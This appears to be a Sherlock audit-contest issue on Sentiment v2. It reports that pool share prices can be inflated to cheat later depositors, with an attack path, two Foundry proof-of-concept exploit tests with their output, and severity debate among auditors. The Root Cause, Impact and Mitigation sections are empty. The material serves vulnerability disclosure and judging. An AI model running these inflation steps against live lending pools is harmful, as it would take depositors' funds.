search

sherlock-audit / 2024-08-sentiment-v2-judging

1 stars 0 forks source link

ThePharmacist - Share inflation on base pools can cause heavy losses to users #427

Open sherlock-admin2 opened 1 month ago

sherlock-admin2 commented 1 month ago

ThePharmacist

High

Share inflation on base pools can cause heavy losses to users

Summary

Users can deposit and borrow from pools in Sentiment v2 which calculates each user's balance through an Asset and Share system. By it's nature, Assets are supposed to always grow (in case there are no bad debts), and therefore are larger in value than shares. However, malicious users can heavily inflate each share, and can cause miscalculations due to rounding errors. This would effect pools with less underlying decimal asset in a way that 1- The fee paid to the pool can br bricked easily 2- the users that deposit can lose money due to loss of precision.

Root Cause

Internal pre-conditions

N/A

External pre-conditions

1- since the inflation happens through accruals in each block, the attacker should not be interrupted during the process. In case of interruptions, attacker can start to work on a new pool.

Attack Path

The goal of the Attacker is to inflate each share and map each 1 share to a much higher amount of Asset. Here, we consider that the attacker is not going to be interrupted during the process, and also consider minDebt == 0. 1- The attacker deposits 1 asset into the protocol, bringing totalDepositAssets and totalDepositShares both to 1. 2- The attacker borrows the 1 asset from the protocol, bringing totalBorrowAssets and totalBorrowShares both to 1, also setting the utilization to 100 percent. 3- attacker starts accruing with each block, after the first accrual, Pool:407 adds to the Assets, inflating them in the process. feeShares is usually zero due to rounding down and small amounts in the process. 4- After the first accrual, totalDepositAssets and totalBorrowAssets are set to 2, while the shares remain in the previous value. 5- Attacker can continue and do this for a day, after (24*3600)/12 = 7200 times, can bring asset/share to 7201. 6- After the second day and 14400 times of accrual, bringing asset/share ratio to 14400. (Attacker can get achieve bigger numbers if they continue doing this) 7- At this point, every deposit or borrow from users would be rounded down/up by 14400. A victim can deposit 14400 * 2 - 1 assets and would only receive 1 share, basically sharing 14400 - 1 with the rest of the pool. 8 - This would especially effect the pools with less decimal values such as USDC and USDT.

Impact

PoC

The output of the test is:

  ================
  One day of constant accrual
  Total Borrow Assets:  7201
  Total Borrow Shares:  1
  Total Deposit Assets:  7201
  Total Deposit Shares:  1
  ================
  Two days of constant accrual
  Total Borrow Assets:  14401
  Total Borrow Shares:  1
  Total Deposit Assets:  14401
  Total Deposit Shares:  1
  ================
  Total Borrow Assets:  14401
  Total Borrow Shares:  1
  Total Deposit Assets:  43202
  Total Deposit Shares:  2
  ================

PoC:

   function testInflateShares() public {
        address attacker = makeAddr("Attacker");
        address victim = makeAddr("Victim");
        address liquidator = makeAddr("Liquidator");

        vm.startPrank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset3Oracle)); // 1:1 with Eth
        riskEngine.setOracle(address(asset2), address(asset3Oracle)); // 1:1 with Eth
        vm.stopPrank();

        MockERC20 borrowAsset = asset1; 
        MockERC20 collateralAsset = asset2;
        uint256 amountOfAsset = 1_000 ether;
        uint256 vicPoolId;
        address attPosition;
        bytes memory data;
        Action memory action;

        /**
        * =============================
        *           SETUP
        * =============================
         */
        {
            // == Minting assets to actors
            borrowAsset.mint(attacker, amountOfAsset);
            collateralAsset.mint(attacker, amountOfAsset);

            borrowAsset.mint(victim, amountOfAsset);
            collateralAsset.mint(victim, amountOfAsset);

            borrowAsset.mint(liquidator, amountOfAsset);
            // == Finish minting assets

            // == Making the position
            vm.startPrank(attacker);
            bytes32 salt = bytes32(uint256(98));
            address owner = attacker;
            data = abi.encodePacked(owner, salt);
            (attPosition,) = protocol.portfolioLens().predictAddress(owner, salt);
            action = Action({ op: Operation.NewPosition, data: data });
            positionManager.process(attPosition, action);
            vm.stopPrank();

            vm.startPrank(positionManager.owner());
            positionManager.toggleKnownAsset(address(borrowAsset));
            // positionManager.toggleKnownAsset(address(collateralAsset)); // Already a known asset
            vm.stopPrank();
            // == Finish making the position

            // == victim making the pool
            // // ==== Setting the rateModel
            address rateModel = address(new LinearRateModel(1e18, 2e18));
            bytes32 RATE_MODEL_KEY = 0xc6e8fa81936202e651519e9ac3074fa4a42c65daad3fded162373ba224d6ea96;
            vm.prank(protocolOwner);
            registry.setRateModel(RATE_MODEL_KEY, rateModel);
            // // ==== Finished Setting the rate model
            vm.startPrank(victim);
            vicPoolId = pool.initializePool(
                victim, // owner
                address(borrowAsset), // asset to use
                1e30, // pool cap
                RATE_MODEL_KEY // rate model key in registry
                );
            // // ==== Setting the LTV
            riskEngine.requestLtvUpdate(vicPoolId, address(collateralAsset), 0.95e18); // Using the same asset to borrow one in this case
            riskEngine.acceptLtvUpdate(vicPoolId, address(collateralAsset));
            // // ==== Finish setting the LTv
            vm.stopPrank();
            // == Finished making the pool

            // == Attacker setting up the position
            vm.startPrank(attacker);
            data = abi.encodePacked(address(collateralAsset));
            action = Action({ op: Operation.AddToken, data: data });
            positionManager.process(
                attPosition,
                action
            );
            collateralAsset.transfer(address(attPosition), amountOfAsset/2);
            vm.stopPrank();
            // == Finish Attacker setting up the position
        }

        /**
        * =============================
        *           EXPLOIT
        * =============================
         */

        logPoolData(vicPoolId, attPosition);

        vm.startPrank(attacker);
        borrowAsset.approve(address(pool), amountOfAsset/5);
        pool.deposit(vicPoolId, 1, attacker);
        vm.stopPrank();

        logPoolData(vicPoolId, attPosition);

        vm.startPrank(attacker);
        data = abi.encodePacked(vicPoolId, uint256(1));
        action = Action({ op: Operation.Borrow, data: data });
        positionManager.process(
            attPosition,
            action
        );
        borrowAsset.transfer(attPosition, amountOfAsset/50);
        vm.stopPrank();

        logPool(vicPoolId);
        for(uint i = 1; i <= 7200; i++){
            vm.warp(block.timestamp + 12);
            pool.accrue(vicPoolId);
        }
        console2.log("One day of constant accrual");
        logPool(vicPoolId);

        for(uint i = 1; i <= 7200; i++){
            vm.warp(block.timestamp + 12);
            pool.accrue(vicPoolId);
        }
        console2.log("Two days of constant accrual");
        logPool(vicPoolId);

        (,,,,,,,,, uint256 tDAssets,) = pool.poolDataFor(vicPoolId);
        vm.startPrank(victim);
        borrowAsset.approve(address(pool), type(uint256).max);
        collateralAsset.approve(address(pool), type(uint256).max);
        pool.deposit(vicPoolId, tDAssets * 2 - 1, victim);
        vm.stopPrank();

        logPool(vicPoolId);
    }

    function logPool(uint256 poolId) view public {
        (,,,,,,,uint256 tBAssets, uint256 tBShares, uint256 tDAssets, uint256 tDShares) = pool.poolDataFor(poolId);
        console2.log("Total Borrow Assets: ", tBAssets);
        console2.log("Total Borrow Shares: ", tBShares);
        console2.log("Total Deposit Assets: ", tDAssets);
        console2.log("Total Deposit Shares: ", tDShares);
        console2.log("================");
    }

Mitigation

S3v3ru5 commented 1 week ago

Isn't the precondition 1- since the inflation happens through accruals in each block, the attacker should not be interrupted during the process. In case of interruptions, attacker can start to work on a new pool. extreme and the chances of it are very low to inflate share price to a profitable value?

0xjuaan commented 1 week ago

Escalate

The attack path provided in this report leads to a low severity impact, so it should be invalidated. This attack increases the share value at a linear rate. This makes it unfeasible to inflate the share value to a significant amount (due to gas and time reasons).

On the other hand, #90, #582, #597 demonstrate how to increase the share value at an exponential rate, which allows an attacker to atomically inflate the share value to a significant amount (more than 1e19 : 1 after ~40 iterations)

sherlock-admin3 commented 1 week ago

Escalate

The attack path provided in this report leads to a low severity impact, so it should be invalidated. This attack increases the share value at a linear rate. This makes it unfeasible to inflate the share value to a significant amount (due to gas and time reasons).

On the other hand, #90, #582, #597 demonstrate how to increase the share value at an exponential rate, which allows an attacker to atomically inflate the share value to a significant amount (more than 1e19 : 1 after ~40 iterations)

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

MD-YashShah1923 commented 1 week ago

Escalate

The attack path provided in this report leads to a low severity impact, so it should be invalidated. This attack increases the share value at a linear rate. This makes it unfeasible to inflate the share value to a significant amount (due to gas and time reasons).

On the other hand, #90, #481, #597 demonstrate how to increase the share value at an exponential rate, which allows an attacker to atomically inflate the share value to a significant amount (more than 1e19 : 1 after ~40 iterations)

@0xjuaan, I agree with your point that this issue, along with the others grouped with it, does not provide the correct attack path to significantly inflate the share price. However, I would like to point out that issue #582 also highlights the same attack path for inflating the share price through the looping mechanism you've mentioned above in different issues. So this issue #582 should also be added in the group. Please let me know if i am wrong here. Thank you!

ThePharmac1st commented 1 week ago

Thanks for going through the issue!

I agree that there is a much better way to inflate the shares without having to wait for accrual in each block. I went a bit through the code and trying to provide some additional info and my opinions here. It seems like there are two ways to inflate the shares here:

(1) Explained in this issue: In each accrual, since the interest accrued always rounds up (e.g. FixedRate), even if the accrued amount is small, the asset would increase anyways. This needs accrual in each block without interruptions and inflates the shares in a slow way.

(2) Other issues mentioned above: start by inflating the share with (1) for only one block, and then use deposit and withdraw functions to inflate the shares super quickly. Which I think poses a way greater threat. (I also appended a PoC for this one to make sure it works, find it below)

The only thing achieved in (1), that isn't achieved in (2) is that it also inflates borrow shares (Haven't really explored if borrow shares can also be inflated in the same manner as (2)). While (1) is slow, it can still be used to avoid paying fees to the protocol in low decimal tokens, which I think is still important.

Now, we can see that there are a couple problems with (1):

I think (2) is the way more dangerous attack, while minDebt would still effect this as well, but I assume it should be still possible to pull this attack off.

Overall I leave it to the judge to decide on this, haven't gone through the other issues to discuss which ones should be in each category. But I think inflation issues should be mitigated in such protocols and there are two different issues here since there are two different mitigations (2) is definitely a High, and (1) can be a Medium.

Here is the PoC for (2) ```solidity function testInflateShares() public { address attacker = makeAddr("Attacker"); address victim = makeAddr("Victim"); address liquidator = makeAddr("Liquidator"); vm.startPrank(protocolOwner); riskEngine.setOracle(address(asset1), address(asset3Oracle)); // 1:1 with Eth riskEngine.setOracle(address(asset2), address(asset3Oracle)); // 1:1 with Eth vm.stopPrank(); MockERC20 borrowAsset = asset1; MockERC20 collateralAsset = asset2; uint256 amountOfAsset = 1_000 ether; uint256 vicPoolId; address attPosition; bytes memory data; Action memory action; /** * ============================= * SETUP * ============================= */ { // == Minting assets to actors borrowAsset.mint(attacker, amountOfAsset); collateralAsset.mint(attacker, amountOfAsset); borrowAsset.mint(victim, amountOfAsset); collateralAsset.mint(victim, amountOfAsset); borrowAsset.mint(liquidator, amountOfAsset); // == Finish minting assets // == Making the position vm.startPrank(attacker); bytes32 salt = bytes32(uint256(98)); address owner = attacker; data = abi.encodePacked(owner, salt); (attPosition,) = protocol.portfolioLens().predictAddress(owner, salt); action = Action({ op: Operation.NewPosition, data: data }); positionManager.process(attPosition, action); vm.stopPrank(); vm.startPrank(positionManager.owner()); positionManager.toggleKnownAsset(address(borrowAsset)); // positionManager.toggleKnownAsset(address(collateralAsset)); // Already a known asset vm.stopPrank(); // == Finish making the position // == victim making the pool // // ==== Setting the rateModel address rateModel = address(new LinearRateModel(1e18, 2e18)); bytes32 RATE_MODEL_KEY = 0xc6e8fa81936202e651519e9ac3074fa4a42c65daad3fded162373ba224d6ea96; vm.prank(protocolOwner); registry.setRateModel(RATE_MODEL_KEY, rateModel); // // ==== Finished Setting the rate model vm.startPrank(victim); vicPoolId = pool.initializePool( victim, // owner address(borrowAsset), // asset to use 1e30, // pool cap RATE_MODEL_KEY // rate model key in registry ); // // ==== Setting the LTV riskEngine.requestLtvUpdate(vicPoolId, address(collateralAsset), 0.95e18); // Using the same asset to borrow one in this case riskEngine.acceptLtvUpdate(vicPoolId, address(collateralAsset)); // // ==== Finish setting the LTv vm.stopPrank(); // == Finished making the pool // == Attacker setting up the position vm.startPrank(attacker); data = abi.encodePacked(address(collateralAsset)); action = Action({ op: Operation.AddToken, data: data }); positionManager.process( attPosition, action ); collateralAsset.transfer(address(attPosition), amountOfAsset/2); vm.stopPrank(); // == Finish Attacker setting up the position } /** * ============================= * EXPLOIT * ============================= */ logPoolData(vicPoolId, attPosition); vm.startPrank(attacker); borrowAsset.approve(address(pool), amountOfAsset/5); pool.deposit(vicPoolId, 1, attacker); vm.stopPrank(); logPoolData(vicPoolId, attPosition); { vm.startPrank(attacker); data = abi.encodePacked(vicPoolId, uint256(1)); action = Action({ op: Operation.Borrow, data: data }); positionManager.process( attPosition, action ); borrowAsset.transfer(attPosition, amountOfAsset/50); vm.stopPrank(); } logPool(vicPoolId); vm.warp(block.timestamp + 12); pool.accrue(vicPoolId); logPool(vicPoolId); uint256 tDAssets; vm.startPrank(attacker); (,,,,,,,,, tDAssets,) = pool.poolDataFor(vicPoolId); // Can't loop because stack too deep! pool.deposit(vicPoolId, 2 * tDAssets - 1, attacker); pool.withdraw(vicPoolId, 1, address(attacker), address(attacker)); (,,,,,,,,, tDAssets,) = pool.poolDataFor(vicPoolId); pool.deposit(vicPoolId, 2 * tDAssets - 1, attacker); pool.withdraw(vicPoolId, 1, address(attacker), address(attacker)); (,,,,,,,,, tDAssets,) = pool.poolDataFor(vicPoolId); pool.deposit(vicPoolId, 2 * tDAssets - 1, attacker); pool.withdraw(vicPoolId, 1, address(attacker), address(attacker)); (,,,,,,,,, tDAssets,) = pool.poolDataFor(vicPoolId); pool.deposit(vicPoolId, 2 * tDAssets - 1, attacker); pool.withdraw(vicPoolId, 1, address(attacker), address(attacker)); (,,,,,,,,, tDAssets,) = pool.poolDataFor(vicPoolId); pool.deposit(vicPoolId, 2 * tDAssets - 1, attacker); pool.withdraw(vicPoolId, 1, address(attacker), address(attacker)); (,,,,,,,,, tDAssets,) = pool.poolDataFor(vicPoolId); pool.deposit(vicPoolId, 2 * tDAssets - 1, attacker); pool.withdraw(vicPoolId, 1, address(attacker), address(attacker)); vm.stopPrank(); logPool(vicPoolId); } ```